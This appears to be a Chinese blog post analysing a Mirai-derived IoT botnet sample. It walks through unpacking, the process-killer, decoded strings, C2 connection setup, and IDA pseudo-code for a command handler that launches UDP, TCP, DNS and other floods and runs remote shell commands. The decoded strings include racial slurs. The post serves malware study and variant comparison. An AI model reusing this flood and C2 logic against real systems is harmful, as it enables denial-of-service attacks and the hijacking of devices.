Mirai
虽然Mirai很老了,但是类似学Windows病毒分析拿熊猫烧香练手一样,Linux病毒不逆个Mirai感觉不太对😅
现在很多僵尸网络,尤其是IOT病毒,是基于Mirai的变种,或者复用了部分代码。我觉得还是分析记录一下是有必要的。
新的家族或许黑产从业人士,可以很快的通过添加模块或者代码,改变通信方式,增加最新的漏洞利用,或者针对不同的设备类型。所以分析一下作为对比项,以后能较快的发现差异部分。
引用自安全牛:
在攻击者眼中,IoT传感器就是完美僵尸网络节点:无处不在、联网、默认设置糟糕、软件漏洞成堆,而且人们很容易遗忘它们的存在。这些设备部署之后基本处于无人监管状态,既没有软件或固件升级,也不会打补丁。所以,网络罪犯开始利用IoT设备开展僵尸网络攻击行动不过是个时间问题。 Mirai僵尸网络就是首个大规模IoT僵尸网络案例
变种
Okiru、Satori、Masuta和PureMasuta等变体
- Satori:Mirai的扫描功能用于远程代码注入攻击。
- JenX bot:由Mirai进化而来,使用相似的代码,但去除了扫描和利用功能。
- OMG bot:基于Mirai源代码添加了HTTP和SOCKS代理功能的新扩展。
- Wicked:利用RCE漏洞感染Netgear路由器和CCTV-DVR设备。当发现存在漏洞的设备时,会下载并执行Owari bot的副本。
源码
Mirai源码
《xd0ol1 - Mirai 源码分析》
《绿盟 - MIRAI源码分析报告》
分析报告
《腾讯威胁情报中心 - Mirai僵尸网络利用弱口令爆破攻击上万台Linux服务器》
分析
查壳
用“Detect-It-Easy”等工具查壳,发现是UPX3.94:
此时如果在IDA里面打开,可以发现是无法静态分析的:
脱壳
UPX壳是简单的压缩壳,可以通过脱壳机进行脱壳。根据自己拥有的环境或者软件,Kali系统下使用upx -d命令脱壳:
此时在IDA里面打开,就是可以直接阅读的代码了,并且可以发现保留了符号表:
逆向分析
int 80H
第一个函数“getppid”获取父进程。
getpid = 获取进程
geippid = 获取父进程,多出的一个P就是Parent的缩写
先通过内联汇编int 0x80造成软中断,触发系统调用,就可以使用内核资源了:
Killer模块
第二个函数“killer_xywz”是Killer模块,用来杀死指定进程:
has_exe_access
获取/proc/tmp/exe下的符号链接所指文件:
如果从“has_exe_access”获取到符号链接所指文件,进入Killer的主要代码,否则退出:
- readdir:遍历/proc下的进程文件夹;
- readlink:获取进程所对应程序的真实路径;

查看数组knownBots的数据:
数据内容如下:
584D4E4E435046222F6465762F6D6973632F7761746368646F674E4B5156474C4B4C450256574C12224C4F4C4E4F4754464F212A204455505453554E414D4950414E207A6F6C6C6172645245504F52542025733A64767268656C706572647672737570706F72746D69726169626C61646564656D6F6E686F686F68616B61697361746F72696D6573736961686D6970736D697073656C73757065726861726D763761726D763669363836706F7765727063693538366D36386B737061726361726D763461726D76356B6F736861796F796F34343066706D696F72696E69676765726B6F77616973746F726D6C6F6C6E6F6774666F636F726F6E61647570736D6173757461626F746E6574637261636B6564736C756D70737464666C6F6F64756470666C6F6F64746370666C6F6F6468747470666C6F6F646368696E6573652066616D696C7976737061726B7A7979736861646F686F73697269736B6F776169998F989C8F98D0CA8986859F8E8C868B988FC7848D838492EA557365722D4167656E743A2025734F4D564A47504457414947504572726F7220647572696E67206E6F6E2D626C6F636B696E67206F70657261746
明显是以十六进制储存的字符串,为了方便阅读和理解,我将其转为ASCII码:
XMNNCPF"/dev/misc/watchdogNKQVGLKLEVWL"LOLNOGTFO!* DUPTSUNAMIPANzollardREPORT %s:dvrhelperdvrsupportmiraibladedemonhohohakaisatorimessiahmipsmipselsuperharmv7armv6i686powerpci586m68ksparcarmv4armv5koshayoyo440fpmioriniggerkowaistormlolnogtfocoronadupsmasutabotnetcrackedslumpstdfloodudpfloodtcpfloodhttpfloodchinese familyvsparkzyyshadohosiriskowaiÐÊÇêUser-Agent: %sOMVJGPDWAIGPError during non-blocking operat
参数
if ( argv[1] ) // 如果有参数{v3 = &argc;strcpy(&bot, argv[1]); // 参数是&bot}else{strcpy(enc_unk, "unknown"); // 否则&bot为“unknown”strcpy(&bot, enc_unk);}// 如果&bot的值为“x86_64、i586、mips、mipsel、armv4l、armv5l、armv6l、armv7l、powerpc、sparc、m68k、i686、sh4、hnap、realtek、huawei、11、archARM、xDLS、yarn、ThinkPHP”if ( strstr(&bot, "x86_64")|| strstr(&bot, "i586")|| strstr(&bot, "mips")|| strstr(&bot, "mipsel")|| strstr(&bot, "armv4l")|| strstr(&bot, "armv5l")|| strstr(&bot, "armv6l")|| strstr(&bot, "armv7l")|| strstr(&bot, "powerpc")|| strstr(&bot, "sparc")|| strstr(&bot, "m68k")|| strstr(&bot, "i686")|| strstr(&bot, "sh4")|| strstr(&bot, "hnap")|| strstr(&bot, "realtek")|| strstr(&bot, "huawei")|| strstr(&bot, "11")|| strstr(&bot, "archARM")|| strstr(&bot, "xDLS")|| strstr(&bot, "yarn")|| strstr(&bot, "ThinkPHP") ){ // 保留其值为&botstrcpy(&bot, argv[1]);}else{ // 不在列表中的值,将&bot值改为“unknown”strcpy(enc_unk_0, "unknown");strcpy(&bot, enc_unk_0);}puts("Infected By Simps Botnet ;)");
Infected.log文件
打开“Infected.log”文件写入一些日志信息:
puts("Infected By Simps Botnet ;)");LogFile = (FILE *)fopen("Infected.log", 0x8056BA6);fwrite("Thank You For Your Services.\r\n""This Device Has successfully Been Infected\r\n""With Malware By Simps Botnet ;)\r\n""| instagram: @ur0a_ | Discord: UR0A#2199\r\n",1,149,(size_t)LogFile);fclose((int)v3, (int)LogFile);
getOurIP
- 根据域名向DNS服务器8.8.8.8查询IP(对应源码中的DNS Resolver / DNS解析器);
- 通过
getsockname获取本机IP; 通过路由表获取到网关后,再调用
ioctl获取和MAC:int getOurIP(){// 1.通过8.8.8.8的DNS服务器获取域名的IPsock = socket(AF_INET, SOCK_DGRAM, 0); // UDPif ( sock == -1 )return 0;*(_DWORD *)serv.sin_zero = 0;*(_DWORD *)&serv.sin_zero[4] = 0;serv.sin_family = 2;serv.sin_addr.s_addr = inet_addr("8.8.8.8");serv.sin_port = htons(53); // 53端口 = DNS协议err = connect(sock, &serv, 16);if ( err == -1 )return 0;// 2.通过getsockname获取本机IPnamelen = 16;err = getsockname(sock, &name, &namelen);if ( err == -1 )return 0;ourIP.s_addr = name.sin_addr.s_addr; // 保存获取到本机的IP//3.通过路由表的网关,获取MAC地址fileRoute = open("/proc/net/route", 0, v1, v2); // 3.1 打开路由表while ( fdgets((unsigned __int8 *)linebuf, 4096, fileRoute) ) // 3.2 读取路由表内数据{if ( strstr(linebuf, "\t00000000\t") ){for ( pos = (unsigned __int8 *)linebuf; *pos != 9; ++pos );*pos = 0;break;}memset(linebuf, 0, sizeof(linebuf)); // 3.3 获取网关}close(fileRoute);// 3.4 如果获取到的网关,调用“ioctl”获取MAC地址if ( linebuf[0] ){strcpy(&ifr, linebuf);ioctl(sock, SIOCGIFHWADDR, (int)&ifr, v3);for ( i = 0; i <= 5; ++i ) // 3.5 获取MACmacAddress[i] = ifr.ifr_ifru.ifru_addr.sa_data[i];}close(sock);return v4;}
/proc/net/route路由表
路由表内容如下:
┌──(root💀kali)-[~]└─# cat /proc/net/routeIface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTTeth0 00000000 029FA8C0 0003 0 0 100 00000000 0 0 0eth0 009FA8C0 00000000 0001 0 0 100 00FFFFFF 0 0 0
getOurIP函数中,通过strstr(linebuf, "\t00000000\t")获取的值,就是Gateway,为“029FA8C0”——一个以大端序保存的IP地址:
通过route -n命令显示和操作IP路由表可以查看Gateway的值确实是“192.168.159.2”:┌──(root💀kali)-[~]└─# route -nKernel IP routing tableDestination Gateway Genmask Flags Metric Ref Use Iface0.0.0.0 192.168.159.2 0.0.0.0 UG 100 0 0 eth0192.168.159.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
【扩展】前置知识
《Linux编程获取本机IP地址的几种方法》
- ioctl();
- getsockname();
- getaddrinfo();
- gethostbyname();
- 通过getifaddrs();
- 通过popen()调用ifconfig。
通过枚举网卡,API接口可查看man 7 netdevice
《ioctl获取本地IP和MAC地址》
// 第二个参数不一样if (ioctl(sockfd, SIOCGIFADDR, &ifr) == 0)if (ioctl(sockfd, SIOCGIFHWADDR, &ifr) == 0)
《主机字节序,网络字节序和IP地址的转换问题》
《主机字节序(大端/小端) 和 网络字节序》
字节序是指多字节数据的存储顺序,在设计计算机系统的时候,有两种处理内存中数据的方法:大端格式、小端格式。
网络协议指定了通讯字节序:大端。主机字节序是小端,所以才需要进行字节序转换。
创建守护进程
创建一个标准的进程守护模型操作流程:
- fork() 进程,父进程退出 (必须)
- 子进程创建新的会话 (必须)
- 使用 setsid()
- 改变当前工作目录 chdir (可选)
比如,U 盘插在笔记本,运行 U 盘文件夹里面的可执行程序,然后拔掉,会有一些影响
重设文件掩码 (可选) 子进程会继承父进程的掩码 增加子进程程序操作的灵活性 umask(0) 关闭文件描述符 (可选) 节约资源,关闭此进程的 PCB 的文件描述符表中 0、1、2 三个,因为预警不需要和终端交互,故可关闭
执行核心工作 (必须) 你想让该守护进程干的事情
————————————————
版权声明:本文为CSDN博主「偕臧x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_33154343/article/details/105453850
IDA内显示如下:
pid1 = fork();if ( pid1 ){waitpid(pid1, &status, 0);exit(0);}if ( fork() )exit(0);setsid();chdir((const char *)&aZyxwvutsrqponm[79]);signal(SIGPIPE, 1);
【正题到了】大While循环
一般木马或者其他需要保持网络通信或者接受C2指令的情况,主要的恶意代码都会放在While循环里。
大的While循环上面通常是一些准备操作,比如获取IP/用户名,环境准备(杀死进程等)。
大的While循环根据功能要求内部可能会有小的While循环来完成小的功能,比如需要保持(要保持所以循环)网络连接刷新C2指令。
简单的说,看到大的While循环就是正题了。
第1个小While——initConnection
函数名译为初始化连接——创建一个C2连接:
_BOOL4 initConnection(){memset(server, 0, sizeof(server));if ( Simpsicsock ){close(Simpsicsock);Simpsicsock = 0;}if ( currentServer )++currentServer;elsecurrentServer = 0;strcpy(server, Simpsserv[currentServer]);port = 6982; // Mirai默认端口if ( strchr(server, ':') ){v0 = strchr(server, ':');port = atol(v0 + 1);*(_BYTE *)strchr(server, ':') = 0;}Simpsicsock = socket(AF_INET, SO_DEBUG, 0);return connectTimeout(Simpsicsock, (char *)server, port, 30) == 0; // 连接C2}
发送bot.id
建立连接后发送系统信息(“sockprintf(Simpsicsock, “%s”, bot.id);”),也就是系统架构,比如“x86_64”:
int sockprintf(int sock, char *formatStr, ...){va_start(va, formatStr);textBuffer = (unsigned __int8 *)malloc(2048);memset(textBuffer, 0, 2048);orig = (char *)textBuffer;print(&textBuffer, (const unsigned __int8 *)formatStr, va);orig[strlen(orig)] = 10;q = send(sock, orig, strlen(orig), 0x4000);free(orig);return q;}
第2个小While——接收数据
recvLine(Simpsicsock, (unsigned __int8 *)commBuf, 4096); // 从接口中接收数据
// 仅放主要代码// select用于监视文件描述符的变化情况——读写或是异常selectRtn = select(socket + 1, &myset, 0, &myset, &tv);// 用于已连接的数据报或流式套接口进行数据的接收recv(Simpsicsock, &tmpchr, 1, 0)
遍历进程
for ( i = 0; i < numpids; ++i ){if ( waitpid(pids[i], 0, 1) > 0 ){for ( on = i + 1; on < numpids; ++on )pids[on - 1] = pids[on];pids[on - 1] = 0;newpids = (unsigned int *)malloc(4 * --numpids + 4);for ( on = 0; on < numpids; ++on )newpids[on] = pids[on];free(pids);pids = newpids;}}
提取命令
commBuf[got] = 0; // 提取命令trim(commBuf);message = (unsigned __int8 *)commBuf;if ( commBuf[0] == '.' ){for ( nickMask = message + 1; *nickMask != ' ' && *nickMask; ++nickMask );if ( *nickMask ){*nickMask = 0;nickMask = message + 1;for ( message += strlen((const char *)message + 1) + 2;message[strlen((const char *)message) - 1] == 10 || message[strlen((const char *)message) - 1] == '\r';message[strlen((const char *)message) - 1] = 0 ){;}command = message;while ( *message != ' ' && *message )++message;*message++ = 0;for ( tmpcommand = command; *tmpcommand; ++tmpcommand )*tmpcommand = toupper(*tmpcommand); // 把命令转为大写(为了更好匹配命令下发的代码paramsCount = 1;pch = strtok((int)message, 0x8056C26);// 分割命令字符串params[0] = command;while ( pch ){if ( *pch != 10 ){v9 = paramsCount;params[v9] = (unsigned __int8 *)malloc(strlen((const char *)pch) + 1);memset(params[paramsCount], 0, strlen((const char *)pch) + 1);strcpy(params[paramsCount++], pch);}pch = strtok(0, 0x8056C26); // 分割命令字符串}cncinput(paramsCount, params); // 命令模块if ( paramsCount > 1 ){for ( q = 1; q < paramsCount; ++q )free(params[q]);}}}
命令分发
cncinput,的cnc就是C&C(C2)的Command And Control,即命令与控制。简单的说就是命令模块~
这个函数内代码写的很规整,功能也很清晰。通过if+strcasestr对比字符串确认命令,进入命令对应的恶意代码逻辑:
if ( strcasestr(*argv, "UDP") ){if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 ){ip_0 = argv[1];port = atol(argv[2]);time = atol(argv[3]);if ( strchr(ip_0, 44) ){for ( hi = strtok((int)ip_0, (int)","); hi; hi = strtok(0, (int)",") ){if ( !listFork() ){audp(hi, port, time, 32, 250, 10);exit(0);}}}else if ( !listFork() ){audp(ip_0, port, time, 32, 250, 10);exit(0);}}return;}if ( strcasestr(*argv, "SYN") ){if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 ){ip_1 = argv[1];port_0 = atol(argv[2]);time_0 = atol(argv[3]);if ( strchr(ip_1, 44) ){for ( hi_0 = strtok((int)ip_1, (int)","); hi_0; hi_0 = strtok(0, (int)",") ){if ( !listFork() ){atcp(hi_0, port_0, time_0, 32, "syn", 250, 10);exit(0);}}}else if ( !listFork() ){atcp(ip_1, port_0, time_0, 32, "syn", 250, 10);exit(0);}}return;}if ( strcasestr(*argv, "RST") ){if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 ){ip_2 = argv[1];port_1 = atol(argv[2]);time_1 = atol(argv[3]);if ( strchr(ip_2, 44) ){for ( hi_1 = strtok((int)ip_2, (int)","); hi_1; hi_1 = strtok(0, (int)",") ){if ( !listFork() ){atcp(hi_1, port_1, time_1, 32, "rst", 250, 10);exit(0);}}}else if ( !listFork() ){atcp(ip_2, port_1, time_1, 32, "rst", 250, 10);exit(0);}}return;}if ( strcasestr(*argv, "FIN") ){if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 ){ip_3 = argv[1];port_2 = atol(argv[2]);time_2 = atol(argv[3]);if ( strchr(ip_3, 44) ){for ( hi_2 = strtok((int)ip_3, (int)","); hi_2; hi_2 = strtok(0, (int)",") ){if ( !listFork() ){atcp(hi_2, port_2, time_2, 32, "fin", 250, 10);exit(0);}}}else if ( !listFork() ){atcp(ip_3, port_2, time_2, 32, "fin", 250, 10);exit(0);}}return;}if ( strcasestr(*argv, "ACK") ){if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 ){ip_4 = argv[1];port_3 = atol(argv[2]);time_3 = atol(argv[3]);if ( strchr(ip_4, 44) ){for ( hi_3 = strtok((int)ip_4, (int)","); hi_3; hi_3 = strtok(0, (int)",") ){if ( !listFork() ){atcp(hi_3, port_3, time_3, 32, "ack", 250, 10);exit(0);}}}else if ( !listFork() ){atcp(ip_4, port_3, time_3, 32, "ack", 250, 10);exit(0);}}return;}if ( strcasestr(*argv, "PSH") ){if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 ){ip_5 = argv[1];port_4 = atol(argv[2]);time_4 = atol(argv[3]);if ( strchr(ip_5, 44) ){for ( hi_4 = strtok((int)ip_5, (int)","); hi_4; hi_4 = strtok(0, (int)",") ){if ( !listFork() ){atcp(hi_4, port_4, time_4, 32, "psh", 250, 10);exit(0);}}}else if ( !listFork() ){atcp(ip_5, port_4, time_4, 32, "psh", 250, 10);exit(0);}}return;}if ( strcasestr(*argv, "TCPALL") ){if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 ){ip_6 = argv[1];port_5 = atol(argv[2]);time_5 = atol(argv[3]);if ( strchr(ip_6, 44) ){for ( hi_5 = strtok((int)ip_6, (int)","); hi_5; hi_5 = strtok(0, (int)",") ){if ( !listFork() ){atcp(hi_5, port_5, time_5, 32, "all", 250, 10);exit(0);}}}else if ( !listFork() ){atcp(ip_6, port_5, time_5, 32, "all", 250, 10);exit(0);}}return;}if ( strcasestr(*argv, "STD") ){if ( argc <= 3 || (int)atol(argv[2]) <= 0 || (int)atol(argv[3]) <= 0 )return;ip_7 = argv[1];port_6 = atol(argv[2]);time_6 = atol(argv[3]);if ( !strchr(ip_7, 44) ){if ( !listFork() )std(ip_7, port_6, time_6);return;}for ( hi_6 = strtok((int)ip_7, (int)","); hi_6; hi_6 = strtok(0, (int)",") ){if ( !listFork() )std(hi_6, port_6, time_6);}}if ( strcasestr(*argv, "RPE") ){if ( argc <= 3 || (int)atol(argv[2]) <= 0 || (int)atol(argv[3]) <= 0 )return;ip_8 = argv[1];port_7 = atol(argv[2]);time_7 = atol(argv[3]);if ( !strchr(ip_8, 44) ){if ( !listFork() )DNSw(ip_8, port_7, time_7);return;}for ( hi_7 = strtok((int)ip_8, (int)","); hi_7; hi_7 = strtok(0, (int)",") ){if ( !listFork() )DNSw(hi_7, port_7, time_7);}}if ( strcasestr(*argv, "OVH") ){if ( !listFork() ){v2 = atol(argv[3]);v3 = atol(argv[2]);ovhl7((char *)argv[1], v3, v2);exit(0);}}else{if ( strcasestr(*argv, "VSE") ){if ( argc <= 3 || (int)atol(argv[2]) <= 0 || (int)atol(argv[3]) <= 0 )return;ip_9 = argv[1];port_8 = atol(argv[2]);time_8 = atol(argv[3]);if ( strchr(ip_9, 44) ){for ( hi_8 = strtok((int)ip_9, (int)","); hi_8; hi_8 = strtok(0, (int)",") ){if ( !listFork() ){vseattack(hi_8, port_8, time_8, 32, 250, 1000, 100000, 0);exit(0);}}}else if ( !listFork() ){vseattack(ip_9, port_8, time_8, 32, 250, 1000, 100000, 0);exit(0);}}if ( strcasestr(*argv, "SHELL") )system((int)argv[1]);strcasestr(*argv, "KILL");if ( strcasestr(*argv, "PING") )sockprintf(Simpsicsock, "PONG NIGGA");if ( strcasestr(*argv, "DNS") ){if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 ){ip_10 = argv[1];port_9 = atol(argv[2]);time_9 = atol(argv[3]);if ( strchr(ip_10, 44) ){for ( hi_9 = strtok((int)ip_10, (int)","); hi_9; hi_9 = strtok(0, (int)",") ){if ( !listFork() )adns(hi_9, port_9, time_9);}}else if ( !listFork() ){adns(ip_10, port_9, time_9);}}}else if ( strcasestr(*argv, "LDAP") ){if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 ){ip_11 = argv[1];port_10 = atol(argv[2]);time_10 = atol(argv[3]);if ( strchr(ip_11, 44) ){for ( hi_10 = strtok((int)ip_11, (int)","); hi_10; hi_10 = strtok(0, (int)",") ){if ( !listFork() )adns(hi_10, port_10, time_10);}}else if ( !listFork() ){adns(ip_11, port_10, time_10);}}}else if ( strcasestr(*argv, "STOP") ){killed = 0;for ( i = 0; i < numpids; ++i ){if ( pids[i] ){v4 = pids[i];if ( v4 != getpid() ){kill(pids[i], 9);++killed;}}}}}}
——————————休息一下——————————
感觉有点长,分开再写个《下》吧😅
——然后就没有然后了,我现在连样本都找不到
资料
《Understanding the Mirai Botnet》
《zheng_zmy - 中文版》
《uptycs blog - Gafgyt僵尸网络变种复用了Mirai代码》
《未然实验室 - Gafgyt家族物联网僵尸网络家族分析》
《安天-追影小组 - 僵尸网络GAFGYT家族分析》
